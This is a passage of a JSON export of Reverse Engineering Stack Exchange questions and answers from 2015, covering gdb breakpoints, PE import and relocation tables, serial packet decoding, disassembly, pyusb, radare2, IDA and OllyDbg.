</p>\n\n<pre><code>400520: ff e0                   **jmpq   *%rax**\n</code></pre>\n\n<p>instruction implements switch.case jumps in this example. Obviously the basic block which ends with this jump will have 6 out-going edges. </p>\n\n<p>Any other indirect jump may also produce such a situation.</p>\n\n<p>There are some good examples in <a href=\"http://citeseerx.ist.psu.edu/viewdoc/download?doi=10.1.1.72.4593&amp;rep=rep1&amp;type=pdf\" rel=\"nofollow\">this article</a>.\nSo, the answer to your question is definitely yes, there are basic blocks with more than 2 out-going edges and your spanning tree can not be considered as binary.</p>\n"
    },
    {
        "Id": "11225",
        "CreationDate": "2015-11-01T21:16:33.740",
        "Body": "<p>I am trying to solve a reverse engineering challenge using using <code>gdb</code>. I can run the program inside it but when I set a breakpoint at <code>main</code> then I get</p>\n\n<pre><code>Program received signal SIGSEGV, Segmentation fault.\n</code></pre>\n\n<p>Setting it at something even earlier like <code>_init</code> (there are two BTW) also was not very fruitful, could it be that the program might be corrupting itself at some point that I didn't catch? Have a look at the <code>backtrace</code> for that matter:</p>\n\n<pre><code>#0  0x47048474 in ?? ()\n#1  0x0804864a in __handle_global_ctors ()\n#2  0x080488c5 in __do_global_ctors_aux ()\n#3  0x08048349 in _init ()\n</code></pre>\n\n<p>Now I tried to statically decompile it using a simple recursive traversal disassembler (not IDA) but I couldn't find any traces of <code>CC</code> (INT 3) so I guess another layer of obfuscation has been added.</p>\n\n<p>I also tried <code>record</code> with no success:</p>\n\n<pre><code>Breakpoint 5, 0x0804833a in _init ()\n(gdb) record\n(gdb) c\nContinuing.\n(null)Process record: failed to record execution log.\n</code></pre>\n\n<p>Oh and I couldn't find the hex string \"47048474\" either.</p>\n\n<p><strong>Any more ideas what can help in such a situation? Maybe detecting the self-modification?</strong></p>\n",
        "Title": "using GDB and dealing with breakpoint detection",
        "Tags": "|linux|gdb|anti-debugging|",
        "Answer": "<p>So, just to clarify what is already present in the comments:</p>\n\n<p><code>gdb</code>'s <code>break</code> will place an ordinary breakpoint, which works by taking the in-memory image of the process and swapping its original instruction for a specific interrupt instruction. If I understand correctly, <code>hbreak</code> tells the OS to monitor every instruction an compare the address of current instruction to the address of breakpoint (i.e. no modification of the in-memory image). However, the number of hardware breakpoints available at a time is limited.</p>\n\n<p>To place a hardware breakpoint with <code>hbreak</code>, your program must be already running with <code>gdb</code>'s <code>run</code>. To achieve that, you should place an ordinary breakpoint somewhere at the very beginning (let's say, <code>_start</code> function), successfully break there, place a hardware breakpoint and then remove the original ordinary breakpoint.</p>\n"
    },
    {
        "Id": "11233",
        "CreationDate": "2015-11-02T18:30:23.220",
        "Body": "<p>I have an application that I am auditing that runs code from an imported DLL. Said DLL itself has imports. Specifically, during execution there's a point where the following is called (EIP is in said DLL):</p>\n\n<pre><code>68DC6648:    jmp dword ptr ds:[68DD21C8h]\n68DC664E:    nop\n68DC664f:    nop\n</code></pre>\n\n<p>I performed </p>\n\n<pre><code>disasm /all /disasm X:\\path\\to\\dll\\myDll.dll\n</code></pre>\n\n<p>On the DLL in an attempt to determine where [68DD21C8] goes to. Mosdef appears as though it is a part of a thunk table for relocations or IAT. My assumption sppears to be correct, as I find [68DD21C8] under the .reloc header under a section called BASE RELOCATIONS:</p>\n\n<pre><code>BASE RELOCATIONS #4\n...    ...        ...\n6000 RVA,    10C SizeOfBlock\n...    ...        ...\n64A    HIGHLOW    68DD21C8\n</code></pre>\n\n<p>The preferred image base is:</p>\n\n<pre><code>68DC0000 image base (68DC0000 to 68DD7FFFF)\n</code></pre>\n\n<p>Also, the DLL entrypoint appears to be 68DC1000. </p>\n\n<p>My question is: how do I determine the memory address for [68DD21C8] and its relative code/disassembly?</p>\n\n<p>I tried baseaddr + RVA + ordinal to get:\n68DC0000 + 6000 + 64A == 68DC664A</p>\n\n<p>However, it falls within range of my disassembled code. In my disassembly from dumpbin, 68DC664A isn't a valid address and <strong>would lie between the previously stated thunk!</strong></p>\n\n<pre><code>68DC6648:    jmp dword ptr ds:[68DD21C8h] ;&lt;--contains 68DC664A!!!\n68DC664E:    nop\n68DC664f:    nop\n</code></pre>\n\n<p>I double checked I have my maths right and searched around, found this previous answer on stack exchange, but it only verified my math above was <a href=\"https://stackoverflow.com/a/24824257/5174896\">correct</a></p>\n",
        "Title": "Dumpbin: Correlating thunk jumps in .reloc to disassembly",
        "Tags": "|disassembly|debugging|pe|",
        "Answer": "<p>If you have set a proper _NT_SYMBOL_PATH dumpbin uses the symbols if they exist and provide you a name of the import instead of hex</p>\n\n<p>the example below shows alls that have resolved names instead of hex for  windows calc.exe</p>\n\n<pre><code>C:\\&gt;dumpbin /disasm c:\\WINDOWS\\system32\\calc.exe | grep -i \"jmp.*\\[\"\n  01004A9B: FF 24 85 FA 50 00  jmp         dword ptr [eax*4+10050FAh]\n  01007BC8: FF 25 7C 10 00 01  jmp         dword ptr [__imp__LocalFree@4]\n  0101263C: FF 25 BC 11 00 01  jmp         dword ptr [__imp____CxxFrameHandler]\n  01012670: FF 25 C0 11 00 01  jmp         dword ptr [__imp___CxxThrowException@8]\n  010127A4: FF 25 E4 11 00 01  jmp         dword ptr [__imp___XcptFilter]\n</code></pre>\n\n<p>in case there are no symbols </p>\n\n<pre><code>C:\\&gt;dumpbin /disasm c:\\usedll.exe | grep -i \"jmp.*\\[\"\n  0040106E: FF 25 0C 20 40 00  jmp         dword ptr ds:[0040200Ch]\n  00401074: FF 25 00 20 40 00  jmp         dword ptr ds:[00402000h]\n  0040107A: FF 25 04 20 40 00  jmp         dword ptr ds:[00402004h]\n  00401080: FF 25 08 20 40 00  jmp         dword ptr ds:[00402008h]\n  00401086: FF 25 14 20 40 00  jmp         dword ptr ds:[00402014h]\n</code></pre>\n\n<p>you can view the raw data at the address (if it is an imported address it would be an unresolved first thunk ) windows loader fills it when it is loading the exe dump bin does not resolve it</p>\n\n<pre><code>C:\\&gt;dumpbin /RAWDATA:4,6 c:\\usedll.exe | grep 402000\n  00402000: 00002082 00002090 000020A2 00002074 00000000 000020C0\n</code></pre>\n\n<p>to resolve this manually you should parse the import table \n00002082 will point to an import \n00002090 will point to another import in x.dll etc \n00000000 is a seperator \n20c0 will point to an import in y.dll and so on \nname of x.dll , y.dll z.dll will also be the part of import table </p>\n\n<p>here is a complete import table of a non symbol exe </p>\n\n<pre><code>C:\\&gt;dumpbin /RAWDATA:4 c:\\usedll.exe | grep -A 14 402000\n  00402000: 00002082 00002090 000020A2 00002074  . ... ..\u00f3 ..t ..\n  00402010: 00000000 000020C0 00000000 00002058  ....\u2514 ......X ..\n  00402020: 00000000 00000000 000020B2 00002000  ........\u2593 ... ..\n  00402030: 0000206C 00000000 00000000 000020CE  l ..........\u256c ..\n  00402040: 00002014 00000000 00000000 00000000  . ..............\n  00402050: 00000000 00000000 00002082 00002090  ......... ... ..\n  00402060: 000020A2 00002074 00000000 000020C0  \u00f3 ..t ......\u2514 ..\n  00402070: 00000000 78450075 72507469 7365636F  ....u.ExitProces\n  00402080: 00A20073 65657246 7262694C 00797261  s.\u00f3.FreeLibrary.\n  00402090: 65470129 6F725074 64644163 73736572  ).GetProcAddress\n  004020A0: 01A90000 64616F4C 7262694C 41797261  ..\u2310.LoadLibraryA\n  004020B0: 454B0000 4C454E52 642E3233 00006C6C  ..KERNEL32.dll..\n  004020C0: 654D01BB 67617373 786F4265 53550041  \u2557.MessageBoxA.US\n  004020D0: 32335245 6C6C642E 00 00              ER32.dll..\n</code></pre>\n\n<p>you can observe 20b2 and 20ce pointing to kernel32.dll and user32.dll respectively</p>\n\n<p>edit </p>\n\n<p>the  address in your query does not point to an import table it is part of reloc or a fixup<br>\nfixups do not jump between modules they fall within the module being examined   </p>\n\n<pre><code>C:\\&gt;dumpbin /RELOCATIONS c:\\WINDOWS\\system32\\kernel32.dll | head -n 11 | tail -3\n\nBASE RELOCATIONS #4\n    1000 RVA,       70 SizeOfBlock\n     62C  HIGHLOW            7C810B50\n\nC:\\&gt;dumpbin /Rawdata:4 c:\\WINDOWS\\system32\\kernel32.dll | grep -i 7c801620\n  7C801620: 00000000 90909090 68146A90 7C810B50  .........j.hP..|\n\nnotice 7c810b50  if the dll is loaded in preferred imagebase this wont change\n\nif the image base is changed loader will find the dword at imagebase+rva+offset \nsubtract the preferred imagebase and add the new imagebase to that result and\npatch the dword to point to correct location \n\nsuppose the preferrred imagebase of 7c800000 wasn't available and dll was loaded at 7d800000 \nloader will fetch the dword 7c810b50 at 7d80162c subtract 7c800000 from it result = 10b50 \nadd 7d800000 and patch 7c810b50 to 7d810b50 \n</code></pre>\n\n<p>in the query<br>\nyou say </p>\n\n<pre><code>68DC6648:    jmp dword ptr ds:[68DD21C8h] ;&lt;--contains 68DC664A!!!\n</code></pre>\n\n<p>that means it is jumping to the middle of the opcode \ndisassembling 68dc66fa you get </p>\n\n<pre><code>xxxxx       68 DC664A90     PUSH    904A66DC\nxxxxx       90              NOP\n</code></pre>\n\n<p>you may need something better than dumpbin to deal with obfuscation </p>\n\n<p>edit</p>\n\n<p>regarding your comment about import parsing no the offsets have nothing to do with base + rva + xxx<br>\nthey do not point to any remote module no reference to any import module address exist in the importing module<br>\n(just take a step back and think what would happen if the dll in the import<br>\ntable was rebased ?? where the exe is going to look for ?? get the idea??)   </p>\n\n<p>in the import  table pasted above  2082,2090,20a2,2074 points to 4 imports from first dll\n20c0 points to 1 import from second dll  this is firstthunk that will be replaced by the loader with actual import address</p>\n\n<p>import table is denoted in pe header->optinal header->datadir[1]</p>\n\n<pre><code>0:000&gt; dt ntdll!_IMAGE_NT_HEADERS -y opt.datadi[1]. 4000b0\n   +0x018 OptionalHeader : \n      +0x060 DataDirectory  : [1] \n         +0x000 VirtualAddress : 0x201c\n         +0x004 Size           : 0x3c\n</code></pre>\n\n<p>see 201c and size 3c that is 15 dwords see below for splitup</p>\n\n<pre><code>typedef struct _IMAGE_IMPORT_DESCRIPTOR {\n  union   {\n    DWORD   Characteristics;\n    DWORD   OriginalFirstThunk;   &lt;-----00002058,0000206c,00000000\n  } DUMMYUNIONNAME;\n  DWORD   TimeDateStamp;    &lt;-----------00000000,00000000,00000000\n  DWORD   ForwarderChain;   &lt;-----------00000000,00000000,00000000\n  DWORD   Name;             &lt;-----------000020b2,000020ce,00000000 \n  DWORD   FirstThunk;       &lt;-----------00002000,00002014,00000000\n} IMAGE_IMPORT_DESCRIPTOR;\nthe last is a null entry that means 5 dwords that are 00000000\n</code></pre>\n\n<p>the original firstthunk a copy of first thunk stays as it is \nthe orignal first thunk gets modified by loader \nloader loads the specified dll using an internal function of LoadLibrary()--->LdrLoadDll() \nand uses an internal api of GetProcAddress  to fetch the importAddress and patches the OriignalFirstThunk  </p>\n\n<p>the module being examined has no inkling about the addresses \nyou cant manually calculate anything about a remote dll import from import table </p>\n"
    },
    {
        "Id": "11241",
        "CreationDate": "2015-11-03T16:07:54.197",
        "Body": "<p>I have an energy monitory and I managed to get into the feed. I got the handshake packets sorted but I am stuck on working out how to decode this data from HEX.</p>\n\n<p>All I know are the following values as shown on the monitor at time of dump.</p>\n\n<ol>\n<li>Pac = 81 W</li>\n<li>Vac = 236.1 V</li>\n<li>Energy Total = 45.7 kWh</li>\n<li>Hours Total = 72 h</li>\n</ol>\n\n<p>and have the following packets, that are send by the monitor every 10 seconds</p>\n\n<pre><code> AA 55 00 01 01 00 11 82 32 00 AA 00 9A 06 DE 06   \u00aaU.....\u201a2.\u00aa.\u0161.\u00de.\n D4 00 03 00 03 00 04 09 59 13 8C 00 51 00 00 00   \u00d4.......Y.\u0152.Q...\n 00 01 C9 00 00 00 48 00 01 00 00 00 00 FF FF 00   ..\u00c9...H......\u00ff\u00ff.\n 00 00 00 00 00 00 00 00 00 00 00 09 35            ............5\n\n AA 55 00 01 01 00 11 82 32 00 A3 00 9A 07 01 07   \u00aaU.....\u201a2.\u00a3.\u0161...\n 11 00 03 00 03 00 04 09 51 13 8E 00 4F 00 00 00   ........Q.\u017d.O...\n 00 01 C9 00 00 00 48 00 01 00 00 00 00 FF FF 00   ..\u00c9...H......\u00ff\u00ff.\n 00 00 00 00 00 00 00 00 00 00 00 07 88            ............\u02c6\n\n AA 55 00 01 01 00 11 82 32 00 A3 00 9A 06 C2 06   \u00aaU.....\u201a2.\u00a3.\u0161.\u00c2.\n E3 00 03 00 03 00 04 09 39 13 8E 00 51 00 00 00   \u00e3.......9.\u017d.Q...\n 00 01 C9 00 00 00 48 00 01 00 00 00 00 FF FF 00   ..\u00c9...H......\u00ff\u00ff.\n 00 00 00 00 00 00 00 00 00 00 00 09 03            .............\n\n AA 55 00 01 01 00 11 82 32 00 A3 00 9A 06 B8 06   \u00aaU.....\u201a2.\u00a3.\u0161.\u00b8.\n B2 00 03 00 03 00 04 09 39 13 90 00 51 00 00 00   \u00b2.......9..Q...\n 00 01 C9 00 00 00 48 00 01 00 00 00 00 FF FF 00   ..\u00c9...H......\u00ff\u00ff.\n 00 00 00 00 00 00 00 00 00 00 00 08 CA            ............\u00ca\n</code></pre>\n\n<p>I can see the exact same things on start until <code>,2&lt;ascii&gt;</code>, after that it seems to contain the data. The last packet dump should be the one resembling the data on the monitor at the time of receiving and as I mentioned.</p>\n\n<p>I have tried converted each HEX into integer, and maybe just finding similar numbers, like the easiest would be hours, <code>72</code> since that only changes every hour. But my futile attempts got me nowhere. Nothing close to 72.</p>\n\n<p>I doubt the data is obfuscated, or encrypted. I just don't know how else I can try and work this out and seek some advice from experienced developers in this sort of field.</p>\n\n<p>All packets end the same with <code>FF FF 00 ..</code> and the last hex is different each time, I suspect a CRC value for checking. There may be other values mixed in between all these but I am only interested in the main ones I can see on the monitor.</p>\n",
        "Title": "Decoding serial data",
        "Tags": "|serial-communication|",
        "Answer": "<p>You know that 72 will be in the data each time. Lets convert that to hex which is <code>48</code>. We can see that clearly in each packet.</p>\n\n<p>It's preceded by 3 <code>0</code> bytes presumable because it's written out as a 32 bit int (for some reason).</p>\n\n<p>preceding that we can see a <code>00 00 01 c9</code> lets convert that in its entirety to decimal: That turns out to be <code>457</code> 10 times more than what another value you are looking for is.</p>\n\n<p>The next set is <code>00 51 00 00</code>, maybe there is a 2 byte <code>0</code> in between this value and the next one them so lets focus on the <code>51</code>, converted to decimal that is <code>81</code>. Another value you are looking for!</p>\n\n<p>The last value you are looking for is <code>236.1</code> however after seeing the energy total maybe the value was scaled first by <code>10</code> so lets check 2361 in hex, that is <code>0939</code>. Lo and behold that's in the last packet:\n<code><pre>AA 55 00 01 01 00 11 82 32 00 A3 00 9A 06 B8 06\nB2 00 03 00 03 00 04 <strong><em>09 39</em></strong> 13 90 00 <strong><em>51</em></strong> 00 00 00\n00 <strong><em>01 C9</em></strong> 00 00 00 <strong><em>48</em></strong> 00 01 00 00 00 00 FF FF 00\n00 00 00 00 00 00 00 00 00 00 00 08 CA</code></pre></p>\n\n<p>Remember that the highest value a single hex digit (0-f) can contain is 15, put 2 of them together and you can go up to 255. Double the amount of bits again and you are at 65535. Also handy to remember is that engineers are cheap and won't put in floating point arithmetic when they can just use fixed point instead. The trick is to find the scaling factor they used.</p>\n"
    },
    {
        "Id": "11246",
        "CreationDate": "2015-11-05T02:35:49.167",
        "Body": "<p>I'm using IDA to disassemble a file, and one of the sections contained this. What is this doing? What would it look like in C?</p>\n\n<p>I believe it pushes edx onto the stack, and converts it to an integer using _atoi, but what is left in eax after that, and why is it comparing it to 5? </p>\n\n<pre><code>mov     ecx, [ebp+argv]\nmov     edx, [ecx+4]\npush    edx             ; char *\ncall    _atoi\nadd     esp, 4\nmov     [ebp+var_60], eax\ncmp     [ebp+var_60], 5\njle     short loc_401167\n</code></pre>\n\n<p>Edit: Got a great answer, also another good answer here. <a href=\"https://stackoverflow.com/questions/33535720/what-does-this-code-do-and-what-does-it-look-like-in-c/33535891#33535891\">https://stackoverflow.com/questions/33535720/what-does-this-code-do-and-what-does-it-look-like-in-c/33535891#33535891</a></p>\n",
        "Title": "What does this code do, and what does it look like in C?",
        "Tags": "|ida|x86|",
        "Answer": "<p>seems to be unoptimized compilation anyway if you were using ollydbg and compiled this code with debug information ollydbg will show the source code in the next column</p>\n\n<p>source used </p>\n\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\nint main (int argc , char* argv[]) {\n  if(argc!=2){return -1;}\n  signed int foo =0;\n  if((foo = atoi(argv[1])) &gt; 5) {goto blah;}\n  printf(\"notok\");return 0;\n  blah:\n  printf(\"ok\");return 1;\n}\n</code></pre>\n\n<p>compiled with no optimisations    </p>\n\n<p><strong>cl /Zi /EHsc /nologo /W4 /analyze *.cpp /link /RELEASE</strong></p>\n\n<pre><code>00401000 a&gt;PUSH    EBP                         ; {\n00401001   MOV     EBP, ESP\n00401003   PUSH    ECX\n00401004   CMP     DWORD PTR SS:[EBP+8], 2     ; if(argc!=2){return -1;}\n00401008   JE      SHORT atoitest.0040100F\n0040100A   OR      EAX, FFFFFFFF\n0040100D   JMP     SHORT atoitest.00401055\n0040100F   MOV     DWORD PTR SS:[EBP-4], 0     ; signed int foo =0;\n00401016   MOV     EAX, DWORD PTR SS:[EBP+C]   ; if((foo = atoi(argv[1])) &gt; 5) {goto blah;}\n00401019   MOV     ECX, DWORD PTR DS:[EAX+4]\n0040101C   PUSH    ECX\n0040101D   CALL    atoitest.atoi\n00401022   ADD     ESP, 4\n00401025   MOV     DWORD PTR SS:[EBP-4], EAX\n00401028   CMP     DWORD PTR SS:[EBP-4], 5\n0040102C   JLE     SHORT atoitest.00401032\n0040102E   JMP     SHORT atoitest.00401043\n00401030   JMP     SHORT atoitest.00401043\n00401032   PUSH    atoitest.0041218C           ; printf(\"notok\");return 0;\n00401037   CALL    atoitest.printf\n0040103C   ADD     ESP, 4\n0040103F   XOR     EAX, EAX\n00401041   JMP     SHORT atoitest.00401055\n00401043   PUSH    atoitest.00412194           ; printf(\"ok\");return 1;\n00401048   CALL    atoitest.printf\n0040104D   ADD     ESP, 4\n00401050   MOV     EAX, 1\n00401055   MOV     ESP, EBP                    ; }\n00401057   POP     EBP\n00401058   RETN\n</code></pre>\n\n<p>the same src code compiled with msvc /O1 does away all saves    </p>\n\n<p><strong>cl /Zi /O1 /EHsc /nologo /W4 /analyze *.cpp /link /RELEASE</strong></p>\n\n<pre><code>00401000 a&gt;CMP     DWORD PTR SS:[ESP+4], 2     ; {\n00401005   JE      SHORT atoitest.0040100B\n00401007   OR      EAX, FFFFFFFF\n0040100A   RETN                                ; }\n0040100B   MOV     EAX, DWORD PTR SS:[ESP+8]   ; if((foo = atoi(argv[1])) &gt; 5) {goto blah;}\n0040100F   PUSH    DWORD PTR DS:[EAX+4]\n00401012   CALL    atoitest.atoi\n00401017   POP     ECX\n00401018   CMP     EAX, 5\n0040101B   JLE     SHORT atoitest.0040102C\n0040101D   PUSH    atoitest.00412194           ; printf(\"ok\");return 1;\n00401022   CALL    atoitest.printf\n00401027   XOR     EAX, EAX\n00401029   INC     EAX\n0040102A   POP     ECX\n0040102B   RETN                                ; }\n0040102C   PUSH    atoitest.0041218C           ; printf(\"notok\");return 0;\n00401031   CALL    atoitest.printf\n00401036   XOR     EAX, EAX\n00401038   POP     ECX\n00401039   RETN                                ; }\n</code></pre>\n\n<p>same code with single exit and no gotos  </p>\n\n<pre><code>#include &lt;stdio.h&gt;\n#include &lt;stdlib.h&gt;\nint main (int argc , char* argv[]) {\n  if(argc==2)  {\n    int foo =0;\n    if((foo = atoi(argv[1])) &gt; 5) {\n      printf(\"ok\");\n    } else {\n      printf(\"notok\");\n    }\n  }\n  return 0;\n}\n</code></pre>\n\n<p>unoptimesed compilation </p>\n\n<pre><code>00401000 a&gt;PUSH    EBP                         ; int main (int argc , char* argv[]) {\n00401001   MOV     EBP, ESP\n00401003   PUSH    ECX\n00401004   CMP     DWORD PTR SS:[EBP+8], 2     ; if(argc==2)  {\n00401008   JNZ     SHORT atoitest.00401045\n0040100A   MOV     DWORD PTR SS:[EBP-4], 0     ; int foo =0;\n00401011   MOV     EAX, DWORD PTR SS:[EBP+C]   ; if((foo = atoi(argv[1])) &gt; 5) {\n00401014   MOV     ECX, DWORD PTR DS:[EAX+4]\n00401017   PUSH    ECX\n00401018   CALL    atoitest.atoi\n0040101D   ADD     ESP, 4\n00401020   MOV     DWORD PTR SS:[EBP-4], EAX\n00401023   CMP     DWORD PTR SS:[EBP-4], 5\n00401027   JLE     SHORT atoitest.00401038\n00401029   PUSH    atoitest.0041218C           ; printf(\"ok\");\n0040102E   CALL    atoitest.printf\n00401033   ADD     ESP, 4\n00401036   JMP     SHORT atoitest.00401045     ; } else {\n00401038   PUSH    atoitest.00412190           ; printf(\"notok\");\n0040103D   CALL    atoitest.printf\n00401042   ADD     ESP, 4\n00401045   XOR     EAX, EAX                    ; return 0;\n00401047   MOV     ESP, EBP                    ; }\n00401049   POP     EBP\n0040104A   RETN\n</code></pre>\n\n<p>optimised compilation</p>\n\n<pre><code>00401000 a&gt;CMP     DWORD PTR SS:[ESP+4], 2     ; int main (int argc , char* argv[]) {\n00401005   JNZ     SHORT atoitest.0040102B\n00401007   MOV     EAX, DWORD PTR SS:[ESP+8]   ; if((foo = atoi(argv[1])) &gt; 5) {\n0040100B   PUSH    DWORD PTR DS:[EAX+4]\n0040100E   CALL    atoitest.atoi\n00401013   POP     ECX\n00401014   CMP     EAX, 5\n00401017   JLE     SHORT atoitest.00401020\n00401019   PUSH    atoitest.00412194           ; printf(\"ok\");\n0040101E   JMP     SHORT atoitest.00401025     ; } else {\n00401020   PUSH    atoitest.0041218C           ; printf(\"notok\");\n00401025   CALL    atoitest.printf\n0040102A   POP     ECX\n0040102B   XOR     EAX, EAX                    ; return 0;\n0040102D   RETN                                ; }\n</code></pre>\n"
    },
    {
        "Id": "11248",
        "CreationDate": "2015-11-05T08:10:18.750",
        "Body": "<p>Working on my Logitech G105 keyboard, to hopefully implement a userspace driver to activate some of its specialized features.</p>\n\n<p>I've captured the usb traffic it outputs when using a windows vm with the official logitech drivers, output of starting the software and setting the m1 led active are in this <a href=\"https://gist.github.com/ntzrmtthihu777/7e23d229056a7e88b878\" rel=\"nofollow\">gist</a> (usbmon-boot and usbmon-m1 respectively).</p>\n\n<p>Replaying the packets with in python with\n<code>dev.ctrl_transfer(0x21, 0x09, 0x0200, 0x0000, 0x0001)\n</code>\nand so on results in almost the exact results, however, the data words after = in usbmon are all 00, and the led on the keyboard does not activate.</p>\n",
        "Title": "Replaying packets with pyusb does not have the expected output",
        "Tags": "|usb|",
        "Answer": "<p>Ah, figured out my problem. I was doing</p>\n\n<p><code>dev.ctrl_transfer(0x21, 0x09, 0x0306, 0x0001, 0x0002)</code></p>\n\n<p>in response to</p>\n\n<p><code>ffff8800822bbcc0 1231215925 S Co:7:009:0 s 21 09 0306 0001 0002 2 = 0601</code></p>\n\n<p>but what I should have done is</p>\n\n<p><code>dev.ctrl_transfer(0x21, 0x09, 0x0306, [0x06, 0x01])</code></p>\n\n<p>Issue is resolved :D</p>\n"
    },
    {
        "Id": "11251",
        "CreationDate": "2015-11-05T11:00:34.703",
        "Body": "<p>i am reading differents documentation about radare2 but i don't read nothing about how can i debug a binary in remote machine.</p>\n\n<p>Actually i am a security research and i need execute binaries in other laboratory virtual machine (winxp).</p>\n\n<p>Thanks for all.</p>\n",
        "Title": "How to debug with remote binaries radare2?",
        "Tags": "|radare2|remote|",
        "Answer": "<p><a href=\"http://radare.today/posts/using-radare2/\" rel=\"nofollow\">This blogpost</a> will probably answer your question. Search for windbg, if you're only interested in this part. Maybe using the r2 debugger on the target works with rap://.</p>\n"
    },
    {
        "Id": "11252",
        "CreationDate": "2015-11-05T15:19:12.230",
        "Body": "<p>(Alert: I'm new with all this)</p>\n\n<p>I'm trying to find out what the following (dis)assembly does: </p>\n\n<pre><code>MOV EAX,DWORD PTR SS:[EBP-54]     ; PTR to ASCII \"\\xDA\\x9Fb\"\n</code></pre>\n\n<p>I seem to understand that the value at address [EBP-54] is copied to EAX. And that OllyDbg figured out that value to be an ascii string containing \"\\xDA\\x9Fb\". Is that right? </p>\n\n<p>Can someone maybe explain to me what this Ascii string is supposed to represent, and how it fits in this code example? </p>\n\n<p><strong>Edit</strong>: Since the information above seems not sufficient to give an answer, I'll try to add some instructions that might (or might not) shed some light. </p>\n\n<p>Shortly after the instruction above, there are multiple CMPs that each look like this: </p>\n\n<pre><code>CMP DWORD PTR DS:[EAX+(different hex)],0\nJE SHORT (position a few lines below)\n</code></pre>\n\n<p>This CMP exits with true which is not the desired condition. The left side should have another value than 0. </p>\n\n<p>I could not figure out what the <em>the string</em> means but it is being used as one of multiple arguments in many internal (private) functions of the disassembly while the other arguments would contain column names of a database. </p>\n\n<p>I am planning to do a lot more digging but I was just curious if this seemed familiar to anybody. </p>\n",
        "Title": "\\xDA\\x9Fb - what's that?",
        "Tags": "|disassembly|ollydbg|",
        "Answer": "<p>As Ian Cook said, the most likely scenario is that this \"ASCII\" is not a string at all. </p>\n\n<p>Disassemblers like OllyDbg will call pretty much anything \"ASCII\" if it's zero terminated and does not contain overly crazy control characters, but neither the extended ASCII interpretation \"\u00da\u0178b\" nor the UTF-8 interpretation \"\u069fb\" (the first character is Arabic) make much sense, so most likely this is a pointer to a record, the first field of which is a pointer to address <code>0x00629FDA</code>.</p>\n"
    },
    {
        "Id": "11260",
        "CreationDate": "2015-11-06T16:48:44.770",
        "Body": "<p>I just loaded up an ARM kernel image into IDA. When I boot up the ARM kernel and inspect the kernel symbols, I can see the following :-</p>\n\n<pre><code>/ $ cat /proc/kallsyms | head -n 10\n00000000 t __vectors_start\n80008240 T asm_do_IRQ\n80008240 T _stext\n80008240 T __exception_text_start\n80008244 T do_undefinstr\n80008408 T do_IPI\n8000840c T do_DataAbort\n800084a8 T do_PrefetchAbort\n80008544 t gic_handle_irq\n800085a0 T secondary_startup\n</code></pre>\n\n<p>When I load the kernel image into IDA, I am presented with functions with a memory segment that is loaded at 0x8000. As the kernel symbols are not present in the ARM kernel, this is making analysis hard.</p>\n\n<p>How can I map the addresses I see in the ARM image(I'm running it in Qemu, and could debug the kernel using gdb-multiarch) with the addresses I see in IDA? I'm guessing rebasing the <code>.text</code> section in IDA would be the way to go. If so, how could I go about finding the address to which I would have to rebase the segment?</p>\n",
        "Title": "Memory segment in IDA - ARM kernel",
        "Tags": "|linux|kernel-mode|segmentation|",
        "Answer": "<p>I figured out a solution. Here is what I did.</p>\n\n<ol>\n<li>Export the content of /proc/kallsyms to a text file.</li>\n<li>From the zImage kernel file look for the gz file format header, copy it out and extract. Load the file into IDA.</li>\n<li>As the file is a binary file, you need to tell IDA how to work with it. You set the architecture to ARM(as was in my case), set the RAM segment to load at 0x80008000.</li>\n<li>Write an IDApython script to read the text file from [1] and do a MakeName(address, name).</li>\n</ol>\n"
    },
    {
        "Id": "11261",
        "CreationDate": "2015-11-06T17:43:53.650",
        "Body": "<p>I am trying to learn to get around Ollydbg, using Lena's tutorial. The latter is based on v.1.10 but I'm using 2.01. So far that went ok. </p>\n\n<p>However, I now find myself in a situation where my result differs a lot from the tutorial (no 4). </p>\n\n<p>I'm trying to catch the call for a messagebox in the code. The tutorial describes I should, with the messagebox open, pause Ollydbg, then return to the application and close the messagebox. This would make Ollydbg break after I clicked the box away and I would land right after the messagebox call in the code. </p>\n\n<p>In my case though, as soon as I click pause, Olly leaves the main application module, landing on RETN in a subroutine of USER32.GetMessageA</p>\n\n<p>Now I can't get back to the application at all, it's blocked. I have to continue the debugger in order to be able to get back to it again but this way I get no info about the messagebox. </p>\n\n<p>Any tips how to proceed in order to get the expected result? I guess in this specific example I could just search for all messagebox calls in the code but that's hardly a good way, especially with large apps. </p>\n\n<p>A related question, is there a possibility to \"look back\" on what happened, as in which code was called up to a certain moment? </p>\n\n<p>Apologies if any of this doesn't make much sense. </p>\n",
        "Title": "Catch MessageBox call with OllyDbg",
        "Tags": "|disassembly|",
        "Answer": "<p>Have you tried in 1.10? I have and have no issue. Make sure you leave the dialog opened, and instead of hitting Alt-F9 I found the option in the menu.</p>\n\n<p>It's possible but unlikely that this feature is broken in Olly 2</p>\n"
    },
    {
        "Id": "11267",
        "CreationDate": "2015-11-07T14:38:24.440",
        "Body": "<p>I recently started to study RE in my free time. I started to look at lena151\nfree tutorials and now I'm on packers/protectors.</p>\n\n<p>Now i reached to the part that he show how to manually find the end of IAT\nand he said \"you see, we can easy spot the end of the of the IAT, it's on\n 493854...\" </p>\n\n<pre><code>0049380C  D0 E9 5F 73 C0 4A 65 73 70 68 65 73 A0 61 66 73  \u05c0\u05d9_s\u05b0Jesphes\u00a0afs\n0049381C  50 C4 64 73 D0 66 65 73 40 6B 66 73 00 00 00 00  P\u05b4ds\u05c0fes@kfs....\n0049382C  C0 41 7E 75 10 0A 7A 75 00 00 00 00 00 F3 64 75  \u05b0A~u.zu.....\u05e3du\n0049383C  00 00 00 00 10 F4 00 77 00 6A 01 77 10 69 01 77  ....\u05e4.w.jwiw\n0049384C  00 00 00 00 6E 17 00 10 00 00 00 00 6B 65 72 6E  ....n.....kern\n0049385C  65 6C 33 32 2E 64 6C 6C 00 00 00 00 44 65 6C 65  el32.dll....Dele\n0049386C  74 65 43 72 69 74 69 63 61 6C 53 65 63 74 69 6F  teCriticalSectio\n0049387C  6E 00 00 00 4C 65 61 76 65 43 72 69 74 69 63 61  n...LeaveCritica\n</code></pre>\n\n<p>Now I don't udnerstand how he know where the end of the IAT just from looking\non the dump?</p>\n\n<p>Also, I didn't completely understood what is IAT, \nany help will be great :-)</p>\n",
        "Title": "what is IAT? and how to find the end of the IAT in packed exe?",
        "Tags": "|unpacking|iat|",
